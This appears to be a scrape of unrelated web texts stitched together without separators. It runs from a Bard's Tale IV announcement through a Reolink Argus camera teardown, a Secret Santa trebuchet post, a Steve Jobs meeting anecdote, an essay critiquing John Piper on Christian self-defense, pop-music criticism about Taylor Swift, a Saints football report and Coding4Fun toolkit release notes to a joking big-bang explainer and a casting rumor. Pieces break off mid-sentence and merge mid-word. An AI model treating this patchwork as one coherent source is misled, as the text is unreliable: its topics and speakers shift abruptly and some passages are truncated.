From Julie herself: "Éamon and I are delighted to have contributed music for the iconic game The Bard's Tale. For us, it has been a fascinating journey exploring and creating music, drawing from the depths of our ancient Scottish Gaelic tradition, and marrying it with the fantasy world of a renowned computer game, now 30 years old." We hope you enjoyed this first look at The Bard’s Tale IV!
Thank you for your continued support,
Brian Fargo,
Your leader in ExileNEWS: Just posted a review of the new Reolink Go. If interested, you can find details here: Reolink Go Security Camera Review
UPDATE 1: If you are interested in reading the Reolink Argus 2 review, you can find that HERE
This post is not a review of Reolink’s latest indoor/outdoor, 100% battery operated, high-definition security camera; the Argus. Not at all, if you are looking for a review of the Argus, you can find mine posted HERE.
This little camera took Indiegogo by storm by bringing in over one million dollars at 4001% of its funding goal. The funding campaign ended on May 11, 2017, but if you would like to have a look at it, you can find it by clicking HERE
Briefly, the Reolink Argus is a rather small form-factor high definition security camera which is completely battery operated using only four CR123A lithium batteries. Reolink claims months of standby power or upwards of 500 minutes (more than 8 hours) of continuous operation before the batteries need replacing. You can use rechargeable batteries in this camera if you would like to have a set ready at all times. The camera is easily mountable using any one of the three provided options; a magnetic ball mount, a mini fixed tripod attachment, and using the existing tripod mount for mobility and stability; if desired.
What sets the Reolink Argus apart from their other battery-operated camera, the Keen, is that the Argus has everything contained in a single small enclosure. The camera body and its mounts are also rated for both indoors or outdoors use. The camera’s body contains: batteries, Mini SD card, wireless controller, speaker, microphone, and PIR (Proximity InfraRed) motion sensor all in a very small package. You will see these items in the teardown and images provided below. Again, if you would like to read the full review along with some sample images and videos taken with the Argus, click on the links below
Argus Review : Click Here
Click Here Argus Image Examples: Click Here
Start the Teardown here…
Now let us get on with the fun part of tearing down this camera and seeing what you get for your hard-earned money. Let me say up front, you get a deal when you buy this camera. It is well built, easy to maintain, and designed to put up with some of the harshest environments.
The below image is simply showing you the front of the Reolink Argus prior to it being taking apart. Here you can easily see that nearly all of the important components of this camera are located here.
You can see that it contains a photo sensor (the small hole above the camera’s lens), the camera’s optical lens, two LED indicators showing recording & power status, The PIR motions sensor, multiple holes for mic and speaker near the bottom, and last but not least the innovative magnetic base it all sits atop.
Figure 1 Camera Front View
For those who like to have a look at the finished product prior to reading the full review, I have provided an image for you below. You are the same people who like to read the last chapter of a suspense novel first then get to the book.
Figure 2 Final Teardown Image
The Reolink Argus is rather easy to open and take apart for those who enjoy doing such things. Once the rear cover plate is removed by depressing the spring-loaded section near the bottom of the body marked “open”, you will see five (5) screws that will need to be removed before the two halves can come apart. Each of the five screws are the same length and size making it easy to reassemble the camera afterwards.
Figure 3 Remove Five Screws to Open
Just a note of warning for those attempting to deconstruct your own Reolink Argus. The two bottom screws and the three in the next section can be a bit difficult to remove and put back during reassembly. This is because of the very strong magnet at the base of the camera body which appears to be epoxied (glued) in making removal challenging. The screws used are steel so they are attracted to the magnet when they are loose. I recommend using a non-magnetic screwdriver if at all possible, and use the screw guides to insert them quickly before the magnet can gram them.
Once you have removed the five (5) screws holding the back plate, I recommend you next turn your attention to removing the three small screws holding a small white cover plate giving the camera a more finished look and feel.
Figure 4 Remove These Three Screws
Again, these screws can be troublesome due to their proximity to the magnet; the steel colored disc shape. Take your time removing these screws, but put them in quickly for reassembly.
With the three screws removed, you can see in the picture below that they basically hold the small white cover plate in place.
Figure 5 Decorative Cover Plate and Screws
As you begin to separate the two camera body halves, after removing all the screws, you will want to be careful because of a spring-loaded button located near the bottom flat portion of the magnet. This springs-loaded button is used to hold the back-cover plate in place after installing or replacing the unit’s batteries.
As the two halves come apart, you will want to ensure you remove this “open” button next or the small (steel) springs may fly away and potentially be lost. What I found helpful when removing this button piece was to allow the two outer springs attached themselves to the powerful magnet. This will help prevent you from losing them. The center spring stayed attached to the button bit the others did not. You do not want to lose these, so be careful.
Figure 6 Spring Loaded Release
In the image below you can see the location where the two smaller springs go when reassembling the camera. Do not lose these, and be aware that they appear to be magnetized because they are attracted to each other or other metal you may have around.
Figure 7 Close-Up of Spring Loaded Release
With the eight (8) total screws and the spring-loaded ‘open’ switch removed, you can easily open the two camera body halves by gently pulling them apart. I did not find any snaps or other things that would prevent me from opening them.
In the image below, you can see the many parts making up this camera. The bulk of the space is for the back cover and the battery compartment. Next you see the rubber seal or gasket ensuring the camera remains weather-proof when outdoors. You also get a first glimpse at the back of the main circuit board. The camera and PIR sensors are facing downward in the below image.
For reference, you can see the magnetic mount at the bottom of the camera.
Figure 8 Separating the Two Halves
Below is a closer image of the back of the main circuit board. To remove this back half of the camera’s body you will need to disconnect the two battery leads. Once this is done, you will be able to completely detach the battery compartment along with the rubber seal and back plate.
One other connections you will want to remove before lifting out the camera’s main circuit board is the connection to the wireless antenna (grey). The larger Infrared LED (for night vision) connection will need to wait until you have the board out of the body as it is blocked.
Figure 9 Closer view of Main Board Connections
The connectors are simply held in place via tabs located near the top of where they connect to the main circuit board. Just press downward gently on the tab while pulling the connection apart.
Figure 10 Battery Connector Terminals
Once you remove the two attached battery connections, you will be able to completely remove the back half of the camera’s body away exposing the main circuit board below. The below image is showing the back portion of the battery compartment.
Figure 11 Battery Compartment Removed (Back)
With the Battery compartment removed, you now get a much clearer view of all the many components making up the Reolink Argus security camera. There are quite a few chips, resistors, and other electronic components crammed into this small unit. Not sure how the engineers pull it off, even with space to spare.
Figure 12 Clearer view of Main Circuit Board
The below image points out a few of the more important aspects of this camera. Under the shielding near the bottom center portion of the camera is the radio/wireless controller circuitry. Next to that you see where the microphone and speaker connections are made to the main board. There is a reset button which is reachable via a small hole located on the side of the camera under a rubber flap for weather protection. Next to that is a battery to retain one’s setting in the event the batteries run down. Next to the battery is the micro-SD slot which is also accessible externally under the rubber flap; alongside the reset button.
Figure 13 Left Side Main Components
Turning around the camera body image, shown below, you see the PIR sensor connection, the wireless antenna leading back to the wireless controller chip, and a rather large metal block which appears to be a heatsink for the camera’s main processor.
Figure 14 Right Side Main Components
The below image is a close-up of the heatsink which is glued securely to the processor or some other component which must get rather hot during normal operation without it. I am unsure what the silver connector that looks similar to a USB port sticking up with nothing connected. It may be for diagnostics or to load the initial firmware on the device; or both.
Figure 15 Close-up of Heatsink and Unknown Connector
To remove the main circuit board from the front body of the camera, you will need to remove four (4) screws located at the top portion of the camera’s body. The screws are clearly shown and indicated in the image below.
Figure 16 Four Screws to Remove Main Board
The next image shows what the main circuit board looks like with the four (4) screws removed. As with the many previous screws removed, these four screws are all the same size and length making disassembly and assembly much easier.
You will now want to disconnect the audio connector and the other one located near the micro SD slot along with the grey wireless antenna connection before lifting the board out of the body. The first two simply lift up while you are pressing a small tab on the side of the connector. The antenna cable can be disconnected by pulling it upward with a pair of needle-nose pliers; be careful not to bend this connection when removing it.
Figure 17 Main Circuit Board Screws Removed
After removing the four (4) screws, gently pry the board upwards from the bottom portion using a small screwdriver or other tool. You can see the bottom half of the circuit board is held in place via the plastic posts. I found it easier to gently lift the board using a flat-head screwdriver through the mounting hole at the bottom of the camera’s body. Take this step easy as there are other components attached on the front (other side) of the circuit board.
You can see that I had to leave the IR LED (night vision) connection because you are unable to disconnect it without first lifting the board clear of the overlapping plastic case. All other connections should have already have been removed prior to lifting the main circuit board.
Figure 18 Ready to Remove Main Circuit Board
The below image shows the back side of the camera’s front body with the main circuit board removed. You can see in the image, there is a blue and white wire connected behind, under the board, so be careful to not pull it to hard upwards. Once free, you are able to disconnect the IR LEDs (night vision) cable from the main board.
Figure 19 Camera Body and Main Board Removed
Figure 20 Wider View of Body and Main Board
Turing the main board over you can have a look at the front (camera facing) side. Here you see the camera sensor as the top square with green colored trim along with the motion (PIR) sensor near the bottom as a round protruding component.
Figure 21 Front View of Main Circuit Board
Below is a closer view of both the camera sensor and the PIR sensor on the front side of the main circuit board. Again, we can see the space was used efficiently when Reolink designed this camera. There are just so many components used in what appears a very easy to use product.
Figure 22 Front Main Circuit Board Closer View
The next image shows where the motion (PIR) sensor and camera sensor receive input when the device is operational. The camera lens consists of a wide-angle fixed focus design. The PIR fits into the round hole so it can detect changes in image frames, and if found, it will alert based on how the camera is configured.
Figure 23 Camera Lens and PIR Body Holes
Figure 24 Main Circuit Board Removed
The next image gives you a close-up of the camera’s lens. Nothing real exciting as this is a fixed focus lens so it does not have optical zoom capabilities.
Figure 25 Camera Lens Close-up View
If we want to see the lens used for the motion (PIR) sensor, we need to remove the six (6) screws shown below. Here you have four (4) silver colored screws and two (2) black ones located at the very bottom of the unit.
These two black screws can be difficult to remove as they are quite close to the strong magnet. The plastic piece also is used to held the microphone and speaker in place; near the two black screws.
Figure 26 Remove Six Screws for PIR Lens Access
With the small white plastic plate removed, you get a good view of the camera lens, the PIR lens, and the microphone/speaker combination.
Figure 27 Camera, PIR Lens and Mic/Speaker
On the right side of the case you see in the image below the wireless antenna along with its grey wire and connector. The component is clearly listed as a RFLink C0714 model.
Figure 28 Wireless Antenna and Connector
Turning back to the main circuit board, I wanted to show the front and back images when it has been completely detached from any of the camera body items.
Figure 29 Main Circuit Board (Front)
Figure 30 Main Circuit Board (Back)
With that, we come to the final image of the Reolink Argus teardown where we see all the components displayed. As you can glean from this review, the Argus is a rather simple device to tear down and reassemble. Unlike with the Keen teardown (found here), I was able to put the Argus back together and it was fully operational; Always a good thing.
Figure 31 Final Disassembly Image
AdvertisementsI received from my Santa an awesome build-your-own model Trebuchet kit! The kit contains around 60 individual pieces including all of the pre-cut wooden parts, string, glue, screws, sling, etc.
I built it over 2 evenings as I wanted to take my time and make sure the glue was fully dry in certain areas. Now that it's finished, I used pennies to fill the counterweight basket, cranked the mechanism, locked it in place, loaded a coin into the sling pouch, pulled the release string and let fire! I'm pretty sure I chipped some furniture with the projectile, so safe to say this is a solid piece of 12th century siege weaponry :D
Secret Santa - you hit the nail on the head with this one, great gift!
ETA: Just got back from a trip to Germany to be greeted with another parcel! This time a bunch of Swedish candy and Christmas card from my Santa, awesome! Many thanks!!I was a young CEO and I needed answers. Steve Jobs had them. There was only one thing to do.
So I sent a FedEx letter.
Then I sent another.
Then I started calling.
Then I sent another FedEx, and called some more. Finally, after 7 FedExs and 12 phone calls, Steve’s assistant said he wanted to talk with me.
“You keep sending FedExs and calling. So let’s end it. What do you want?” Steve said, with his characteristic charm.
“Five minutes of your time. I really admire your accomplishments and as a young CEO I have a few questions no one else can answer.”
“Bring a timer.”
“I will. Oh—and thanks.”
He had already hung up.
My surface agenda was to get 5 minutes of advice, watch how Steve’s mind worked, bask in his brilliance, then have a breakthrough.
My subterranean agenda was to find hope again. It was the early 1990’s and I’d left my engineering post at Microsoft. I was depressed and wanted to know why we weren’t really changing the world as fast and as well as we could. Windows hadn’t deeply changed people, hadn’t deeply helped. Wasn’t technology supposed to do that? All I saw were the limitations of software, hardware, peripherals. I’d left feeling frustrated after years of 12-14 hour days pounding code that refused to become bug free.
Remember those chunky white metal kitchen timers from your childhood? The ones with the dial and the ticka ticka ticka sound and the “bing!” ringer? Two weeks later, timer in hand, I shook Steve’s hand and set the dial for 5 minutes. We’re at a dark conference table at NeXT. He is slouching at the head of the table, to my right. Ticka ticka ticka.
I won’t bore you with the questions I asked, they were mere prompts to get Steve talking. What I do want you to know is that during this conversation, which was almost 18 years ago, Steve shared his vision of the future.
And it was glorious. He described a world where our computers were so seamlessly integrated into our lives that everything we needed was easily accessible. He described the iPod, iPad, iPhone nearly 2 decades before they hit the market. I watched how his brain moved—without limitation—from what might enhance a customer’s life, to what that would mean to them and how they would benefit, to how this would change the world.
He didn’t question that whatever he envisioned could, and would, be created. He didn’t agonize over whether current limitations would hold him back.
I could feel my brain expanding, it felt so big around Steve, so open and limitless. I was tracking him, following his twists, turns, expansions. I felt so smart around him, and it was glorious and freeing and…
Ticka ticka ticka ding! My five minutes was up. I rose to leave, bowing a little as I backed away.
“I’m not done with you yet. Sit down.”
And zoom! We were back in brain expansion mode immediately, flying into the future, the wind blowing our hair, everything possible, everything important. And we needed to create it. It was our destiny.
Forty five minutes later Steve released me. Sitting in my overheated car in the sunny Redwood City parking lot, my head bursting with the remarkable, complex, complete vision of Steve Jobs in my head, I made a commitment.
I would no longer see barricades. Stumbling blocks would now be seen as stepping stones to something better, or something to crawl over or walk around. Previous limitations would now be a mere triviality, at worst a slight inconvenience. There were insanely great things to create and we were here to create them and that’s all there was to it. All thoughts to the contrary were irrelevant.
That’s how I still live today.
Want to meet your “Steve”?
3 Steps To Get A Meeting With Any VIP:
1) Find out what causes they care about. Write a ½ to 1 page genuine letter about their specific accomplishments you admire. Offer five hours donation of your time to their favorite non-profit for five minutes of their time (request a meeting in person versus via phone).
2) Send your letter via FedEx. Call to ensure it was received and bond with their Executive Assistant. Only call first thing in AM or last thing in PM. They’re more likely to answer then.
3) Repeat step 2 until you get a meeting. If for some reason this doesn’t work, give the letter to them by hand at an event they are speaking at. Then repeat step 2 until you get a meeting.
In 30 years in business the approach above has always worked for me. The key is the letter. Be authentic, heartfelt, compelling. Care. Make it a work of art.
Years later after my father had died from pancreatic cancer and my uncle Ed then had it, my mother asked me to call Steve’s office to compare his treatment to my uncle’s—perhaps we could improve Ed’s odds. The woman who answered in Steve’s office hesitated for a moment, looking up my name, I suppose. Then we talked through Steve’s versus Ed’s situation. Unfortunately the news wasn’t good—Ed’s cancer was more aggressive. He died six months later.
Thanks Steve for bringing back my faith in technology, in innovation, in possibility.
Oh—and sorry I stalked you.
Christine Comaford combines neuroscience and business strategy to help CEOs achieve rapid growth and create high performance teams. Follow her on twitter: @comaford. Her current NY Times bestselling book is entitled SmartTribes: How Teams Become Brilliant Together.
Join her tribe and get free webinars, neuroscience resources, and more by clicking here.A few weeks ago, Jerry Falwell Jr. made headlines by encouraging the students of Liberty University to acquire permits to carry guns on campus so that they could, if necessary, “end those Muslims before they walked in.” This rather artless way of expressing himself led to immediate worries about religious hostility and even possible genocide, though Mr. Falwell later clarified (and the original context made clear) that he meant that students could kill Islamic terrorists in the event that attacks were made on the campus. This qualification is very important, though many Christians were still significantly, and perhaps understandably, bothered by the idea of college students carrying weapons on campus. Addressing complicated problems of security in locales populated by individuals of mixed maturity and ability will always be difficult. Yet even beneath these considerations, it seems the most basic question on many Christians’ minds is whether a believer has the right to use deadly force in the event of a life-threatening emergency. This is the question that is most-popularly asked among amateur political commentators, and it has an immense popular resonance. We also see its importance and relevance because it is the aspect of the question that John Piper chose to address yesterday. In doing so, he highlighted a number of basic areas of confusion which seem to persistently afflict American Evangelicals.
Before going into my own critique, I should state that I am much more sympathetic towards Pastor Piper’s larger theological outlook than I am Mr. Falwell’s. In general, I do not enjoy the idea of siding with Falwell over Piper. Even on this question of the use of force, I must confess to finding Pr. Piper’s tone and cautious manner of self-expression appealing. It was with eager anticipation that I read Pr. Piper’s article, and I was very hopeful that he would offer a strong corrective to Mr. Falwell’s rhetoric. As I began reading the article I was encouraged, but I was unable to finish it without running aground of serious confusions and grave errors. I believe that these are both theological and pastoral, making a seriously damaging combination that will not only fail to correct Mr. Falwell, but will simultaneously strengthen his error among most Evangelicals while creating an opposite error to reckon with as well.
John Piper’s Concern
We must be careful in framing this interaction with Pr. Piper. Most of his essay is commendable, and he claims at the beginning to limit his argument to the larger disposition of the Christian, specifically his feelings about violence. Pr. Piper says,
My main concern in this article is with the appeal to students that stirs them up to have the mindset: Let’s all get guns and teach them a lesson if they come here. The concern is the forging of a disposition in Christians to use lethal force, not as policemen or soldiers, but as ordinary Christians in relation to harmful adversaries. The issue is not primarily about when and if a Christian may ever use force in self-defense, or the defense of one’s family or friends. There are significant situational ambiguities in the answer to that question. The issue is about the whole tenor and focus and demeanor and heart-attitude of the Christian life. Does it accord with the New Testament to encourage the attitude that says, “I have the power to kill you in my pocket, so don’t mess with me”? My answer is, No.
This is a good way to approach the issue and a very important one for the average pastor to be able to consider. An eagerness to shed blood is anti-biblical and a real temptation in our contemporary culture. But Pr. Piper’s declaration that he is not “primarily” interested in self-defense falls flat when he goes on to directly address self-defense and tie it in to a larger theological framework of sacrifice and exile.
It should be acknowledged that Pr. Piper is not attempting to bind the conscience: he admits that some of his views are tentative and uncertain, and he allows for other good men to disagree with him. Still, he maintains that he would positively counsel against gun ownership, and his entire argument rests upon the fact that his prudence is informed by his understanding of the work of Christ. Thus, speaking as a respected pastor and theologian, Piper’s personal advice has moral weight, and it can reasonably help or hurt those who take it. It is also set forth as a ramification of the proper understanding of the atonement, and so it intentionally grounds itself in a basic element of the faith.
The matter of self-defense is most prominent in Piper’s 8th point, in which he fields the hypothetical of a home invasion; but he weaves in the rejection of self-defense into points 2, 3, 4, 7, 8, and 9. So self-defense is not a mere side note at all, but rather a test case by which the larger edifice stands or falls. By the time of the most shocking statements in point 8, the reader feels compelled to accept the extreme scenario or see it as the ultimate reductio ad absurdum which disproves the whole essay. As such, it is an appropriate point of critique.
Piper’s Reluctance to Use Deadly Force to Defend His Family
The most shocking part of Pr. Piper’s essay is, as we have said, his 8th point. He offers up a common situational dilemma faced by Christians looking into the question of the appropriate use of force. He says, “A natural instinct is to boil this issue down to the question, ‘Can I shoot my wife’s assailant?’” He then goes on to give 7 aspects to an answer which amounts to an unclear and qualified negative. We won’t quote these answers in full (you should read them for yourself), but they amount to an argument that bearing witness to Jesus precludes the use of deadly force. Piper asserts that the New Testament intentionally complicates the answer to this question: “the New Testament resists this kind of ethical reduction” and “the New Testament does not aim to make this clear for us. Its aim is a radically transformed heart that lives with its treasure in another world, longs to show Jesus to be more satisfying than life, trusts in the help of God in every situation, and desires the salvation of our enemies.” So, while Piper wants to stop short of giving a biblical prohibition against self-defense, he clearly suggests that the New Testament militates against it.
Guns, in particular, fall under a special exclusion. Piper says, “I live in the inner city of Minneapolis, and I would personally counsel a Christian not |
Red (2012), still the best Taylor album for the way it mixes the genius singer-songwriter stuff with the pop-crossover stuff. Part of Sanneh’s anti-rockist argument involved nixing the idea of “guilty pleasures,” of condemning even the greatest pop songs as unserious, embarrassing goofs you can truly love only in spite of yourself, with huge emotional appeal but no intellectual weight. But denying the wit and the vibrance and the craftsmanship of “My Love” or “Bad Romance” or “Teenage Dream” was nearly impossible, and the same even went for a song called “We Are Never Ever Getting Back Together.”
From 2003’s “Crazy in Love” forward, Beyoncé’s catalog perhaps best triangulates mass appeal and critical esteem — the esteem, at least, has gone into overdrive with her past two records, 2013’s self-titled “surprise release” pioneer and 2016’s Lemonade. Part of the knock against pop in 2017 is that no one record can match either of Beyoncé’s past few in terms of either flaunting artistic ambition or dominating the cultural conversation. As for pure chart success, a new album debuting at no. 1 on the Billboard charts is usually more a function of name recognition and marketing savvy than a reflection of quality. This year has produced plenty of hit records but, with some exceptions (including Kendrick Lamar and the Weeknd), few with enough power to stay at no. 1 for even a second week, and certainly none able to dominate the way Drake’s Views dominated summer 2016.
Instead, this year, Perry’s new Witness collapsed beneath the weight of its own wokeness, while other poptimism-borne stars set out in valiant (and faintly more traditional) new directions with less dazzling commercial results. “Looking at the idea of rockism, and the backlash against poptimism, what’s funny is Kesha and Miley Cyrus did rockesque albums this year and really didn’t do well,” says Pitchfork senior editor Ryan Dombal. “So to me, that’s not a knock against pop. They didn’t do pop. I think that’s kind of interesting, the idea that these people who were talked about a couple years ago as being part of poptimism’s wave were literally doing rock albums.”
MTV’s Video Music Awards remain a reliable bellwether for The Year in Pop, and here, too, the mood was grim in 2017: This year’s show was hosted by a flop-sweating Katy Perry, barely kept afloat by a few bigger names (including Pink, whose briskly selling October release Beautiful Trauma was a rare bright spot this year), and mostly turned over to much younger and, for the moment at least, dimmer-wattage stars, from Alessia Cara to Logic to Shawn Mendes. The result suggested some promise for pop’s future, but not much excitement for pop’s present.
“I don’t see it as a bubble bursting, I see it as a stratification,” Caramanica says. “I think what you’re seeing are superstars retreating into their particular corners, whatever those corners are. They have support from their dedicated fan bases; obviously they prize ubiquity, but they don’t always need it. Beyoncé doesn’t need radio ubiquity to be Beyoncé. Rihanna is either at that point or is almost at that point. I think it holds slightly less for Katy, maybe, because there is not as much ideology at work in Katy — Katy’s ideology is ubiquity. But I think for the other stars at that level, it still holds.”
For younger, rising stars, it could simply be that there’s less impetus to attempt the sort of universe-throttling marketing campaign that made Reputation a thoroughly exhausting proposition. “That other generation — the Halseys, the Selena Gomezes — their version of ubiquity is very different,” Caramanica says. “This is like a post-Spotify kind of ubiquity. And it doesn’t have to resonate in the same world-killing way as superstardom of even five years ago did, and certainly 10 or 15 years ago. I don’t think it’s so much the younger generation not quite replacing the older generation so much as the younger generation playing by a different set of rules.” Under the new rules, it’s easier than ever to call yourself a pop star, and harder than ever to stand out.
As always, it’s hard to determine how much critical attention pop deserves when the very notion of “pop” itself is a moving target. “If I or anyone else described ‘pop’ as a genre, we were wrong,” says NPR’s Ann Powers, who did pioneering, genre-omnivorous work for the likes of The New York Times, the Village Voice, and the Los Angeles Times for decades. “Pop is not a genre. It is a format. I’m quoting from my husband, Eric Weisbard — his book talks about that. But if we think of pop as a format, Top 40 as a format, then anything can be contained in it. ‘The Star-Spangled Banner’ could be contained in it, if the right person recorded it.”
“It doesn’t have to resonate in the same world-killing way as superstardom of even five years ago did, and certainly 10 or 15 years ago. I don’t think it’s so much the younger generation not quite replacing the older generation so much as the younger generation playing by a different set of rules.” —New York Times pop critic Jon Caramanica
But for most casual listeners, Taylor Swift is still synonymous with “pop star” in 2017, and Reputation, given the brazenness of its rollout and the enormity of its sales, will serve as a referendum on pop music in 2017. More critics than ever are weighing in: Notably, this is the first album of Swift’s to be reviewed on Pitchfork (it got a fair and thoughtful 6.5), capping the initially indie-rock leaning site’s slow and steady creep toward rap, R&B, and pop. “I don’t think it was a hard decision,“ Dombal says. “Obviously Pitchfork has gone through an evolution even through the years that Taylor’s been active, in covering more pop stuff. For this one it seemed that it was overdue to say our piece on her; it was interesting to have it come on her least acclaimed album.”
The actual sonic construction of Reputation is extremely 2017, in that it’s split almost evenly between Max Martin’s long-reigning maximalist pop machine and the thornier, more intimate work of Jack Antonoff, who this year alone produced everyone from Lorde to Pink to the increasingly mainstream-aspirant St. Vincent. The vibe on this record is clamorous, and vaguely goth-y, and synthetic in a way that allows for some startling intimacy, but not the same precise directness that animates Swift’s best work on mid-period hits like “Dear John” and “Mean.” It matches the current zeitgeist so exactly that it threatens to calcify it.
“When I first heard Fearless, I thought, ‘Wow, this is a very young person that really understands the human experience — like, already, at this incredibly young age,’” says The Washington Post’s Richards, whose review of Reputation is less positive than either Powers’s or Caramanica’s. “When I listened to Reputation, I thought to myself, ‘Wow, this is a woman who really understands the marketplace.’”
Part of this has to do with the obvious ways that Swift has evolved, coupled with the ways that the pop-music machine has more subtly prevented her from evolving. “I thought it was interesting, on Saturday Night Live, she does this one song where she’s performing it like it sounds on the record, and she’s dancing and she’s doing what the record suggests she should be doing,” Powers says. “And then she does another song where she’s sitting down and playing it on guitar. And I thought, in a way it’s too bad she feels like she has to do that, to pull off some kind of idea about authenticity.”
Overall, Reputation is far from a bomb, whether your metric is a review aggregator like Metacritic or something more Twitter-driven and anecdotal. But there’s still enough divisiveness to change the way critics talk about both Swift and the pop-music universe she’s still presiding over, a possible discord that could be just what poptimism needs for those who feel most reviews are still uniformly glowing and uncritical.
“To some extent, there has been a bit of a crisis of confidence I think, among critics,” Sanneh says. “Which is to say, you read less and less pieces that take the form of, ‘Everyone’s wrong about saying this thing is good, because it’s really bad.’ Which is sort of the thing that you think of — when I was a kid, the first critics I encountered were Statler and Waldorf from the Muppets. That was their role: ‘You guys are having fun, but this is actually terrible.’ For a variety of reasons, both good and bad, I think critics are more hesitant about doing that now.”
By that standard, Reputation might be just wayward enough to start more fights that might make both pop and pop criticism healthier in the long run. And if critics are still hesitant to sharply call out Swift, other worthy targets remain. “I don’t know: Everybody still hates Ed Sheeran,” Powers says with a laugh. “I mean, all critics still hate Ed Sheeran. How far have we gone if we all still hate Ed Sheeran? We’ll always have Ed.”One could almost say the New Orleans Saints defense suffered from an identity crisis last season.
That'll happen when there's a new defensive coordinator trying to turn things around from a 2012 squad that allowed the most yards in league history. Or injuries to converted linebacker Will Smith and new signees Kenyon Coleman and Victor Butler that forced the last-minute trade for outside linebacker Parys Haralson.
The Saints were forced to throw away the plans and play things as they came. The much anticipated switch to a 3-4 front became a 4-2-5 or a 4-3 or whatever formation happened to strike their fancy that day.
What is the Saints' identity now? They aren't quite ready to say.
"You know I can't tell you anything like that. Let's be real," said Saints defensive end Cam Jordan.
What Jordan can say is the Saints have a better grasp of who they are. They're no longer licking their wounds from the year that got away. Injuries and new schemes are no longer excuses.
"Last year was all about 'Oh what is the identity and how are we formulating that,'" Jordan said. "This year is about improving upon that."
Saints defensive coordinator Rob Ryan hasn't said it outright, but the veterans know this year the bar has been raised.
"Anytime you can keep the majority of your guys together and the same coaching staff, there's always something to build on," Haralson said. "Rob's first year was my first year here and this is the first time I've been able to come in and get a true understanding of the defense. Last year I came in and it was rushed and you're just out there playing and you don't get a chance to understand everything. Now you understand your responsibility and what the people around you are doing."
"You can't get complacent," said outside linebacker/defensive end Junior Galette. "If we all get better as a group then I don't think anything is going to stop us."
Galette said the defense's goal is to be the best. Anything less isn't an option.
"We're not No. 1," Galette said. "If we're not No. 1, nothing else matters. Third, fourth, that doesn't matter."
Galette didn't specifically note the team currently No. 1 in overall defense, but he wouldn't be alone if he did. Almost everyone from Rafael Bush to Kenny Vaccaro to Sean Payton has had Seattle on the mind in the offseason.
And as the Saints work to solidify their 2014 identity, the memory of that divisional playoff loss to the Seahawks will continue to drive the unit to reach greater heights.
"Let me tell you how bad that was. That loss brought back memories of the San Francisco game in 2011." Galette said. "As soon as we got off the field, I thought, 'it's the same thing all over again'. And I still carry THAT feeling (too). It's what I was trying to avoid.... We as a defense we're still carrying that feeling."New Coding4Fun.Phone.Toolkit v1.1 officially released
published on: 2/14/2011
Currently rated 5.00 by 2 people
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by WindowsPhoneGeek
The new Coding4Fun.Phone.Toolkit v1.1 official release was anounsed a few hours ago. In this post I will cover all fixes and changes that were made since the previous Coding4Fun v1 untill the new Coding4Fun.Phone.Toolkit v1.1.
NOTE: Coding4Fun v1 was officially released a few weeks ago and quickly became one of the most popular free projects that offer additional components for Windows Phone 7 application development.
Here is what is included in the download package:
Coding4Fun.Phone.Toolkit v1.1 FIXES and New features:
1.Put cancel button on top of just back button on input prompt
workitem: http://coding4fun.codeplex.com/workitem/6222
Abstracted out buttons from prompts. Added input prompt ability to have a cancel button by request, by default it is off.
2. About control incompatible with TransitionFrame fix
workitem: http://coding4fun.codeplex.com/workitem/6223
In short the problem was: "If I change App.xaml.cs so that RootFrame is new TransitionFrame as required to use the ToolBox transitions, then the About control text is no longer viewable and the Button is no longer viewable. If I return App.xaml.cs so that RootFrame is a new PhoneApplicationFrame, then the About control works properly again."
3. Changed output directory to mimic silverlight toolkit
workitem: http://coding4fun.codeplex.com/workitem/6168
NuGet support first pass checkin.
4.Removed the need for light + dark theme. Uses opacity mask now to do theming.
workitem: http://coding4fun.codeplex.com/workitem/6145
5.Tapping the submit button on an InputPanel throws a NullReferenceException
workitem: http://coding4fun.codeplex.com/workitem/6174
6.If the.Show isn't wrapped in a Dispatcher.BeginInvoke, input prompt instantly returns
workitem: http://coding4fun.codeplex.com/workitem/6169
7.The overlay on the prompt is bound to the background brush. Allow the two to operate independant of one another
workitem: http://coding4fun.codeplex.com/workitem/6178
8.Added in IsPromptMode. When enabled, the bottom section where the check button (and if any others in the future) would live, gets hidden.
workitem: http://coding4fun.codeplex.com/workitem/6177
9.Fix issue with design view and about prompt since access to the WMAppManifest didn't exist yet. Issue was the I'd set IsIndetermine on Unload. Moved some stuff around to correct issue.
workitem: http://coding4fun.codeplex.com/workitem/6183
10.Fixed bug where items couldn't be have databinding due to having DataContext = this;
workitem: http://coding4fun.codeplex.com/workitem/6170
11.Made RoundButton no longer look like a blob if no imagesource is set. Updated example to show borders, background, foreground, and image set.
12. Discovered bug with show / hide and then messing with visibility. Adjusted animation
Also updated the Overlay example to state that this will break the binding after the show / hide.
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Comments
Work perfectly posted by: Katsy on 2/14/2011 2:14:32 PM Nice tools! I use them in my apps. Work perfectly.Scientists at Cern are suggesting they could soon detect miniature black holes, proving the existence of parallel universes and disproving the big bang theory of the creation of the universe. Or something
The big bang: are we in a ‘pics or it didn’t happen’ type situation?
Name: The big bang
Age: 13.8bn years, or no age at all, because it didn’t happen.
Appearance: Big and bangy, or it doesn’t have an appearance, because it didn’t happen.
Why are you being so down on the big bang? Are you one of those creationists? Quite the opposite. I’m just here to tell you that Cern will soon use the Large Hadron Collider to detect miniature black holes.
And what does that have to do with the big bang? Well, if it’s successful, the existence of miniature black holes could prove the existence of parallel universes, which could prove the Gravity’s Rainbow theory, which could then prove that the universe has existed for ever with no fixed point of origin.
Take me through that again, as if to an idiot. Right, OK. The scientists at Cern believe that there are miniature black holes hidden away in dimensions beyond the ones that we can comprehend, and that these lead to parallel universes.
Wait right there. Extra dimensions? I haven’t even got to Gravity’s Rainbow yet. That theory seeks to reconcile the theory of relativity with quantum mechanics, by arguing that gravitational fields around supermassive objects bend light in different ways depending on its colour.
This is hurting my brain. Listen, did the big bang happen or not? Possibly not. The point of all of this is that Gravity’s Rainbow could prove that the singularity – the infinitely tiny point that exploded billions of years ago, giving birth to the universe – is a scientific impossibility.
So the universe has always existed? Or it never existed? I’m so confused. Me too. It takes serious scientific journals hundreds of thousands of words to properly describe this stuff. What hope do we have?
It’s all too trippy. I only got a C in GCSE science. Me too.
Really? What a coincidence. Want to know something really trippy?
Sure. One person is writing both sides of this conversation. Therefore I am you, but simultaneously, you don’t really exist.
Mind. BLOWN. Right?
Do say: “I suddenly feel very small.”
Don’t say: “Coming up next on E4, The Miniature Black Hole/Gravity’s Rainbow/Extra Dimension/Infinite Universe With No Fixed Point of Origin Theory.”Following Green Lantern being rumored for the Justice League movie, it's now being said Jamie Dornan is up to play Green Lantern.
